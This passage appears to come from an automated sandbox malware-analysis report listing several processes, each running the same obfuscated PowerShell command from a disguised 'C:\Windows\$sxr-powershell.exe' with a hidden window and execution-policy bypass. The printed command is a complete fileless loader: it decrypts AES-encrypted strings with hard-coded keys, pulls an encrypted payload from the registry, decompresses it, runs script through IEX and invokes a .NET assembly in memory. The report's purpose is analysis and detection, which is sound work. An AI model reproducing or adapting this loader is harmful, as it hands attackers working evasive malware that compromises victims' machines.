System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))7⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:5648
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2100).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))7⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:5764
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2100).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))7⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:5876
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2100).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))7⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:5992
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2100).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] 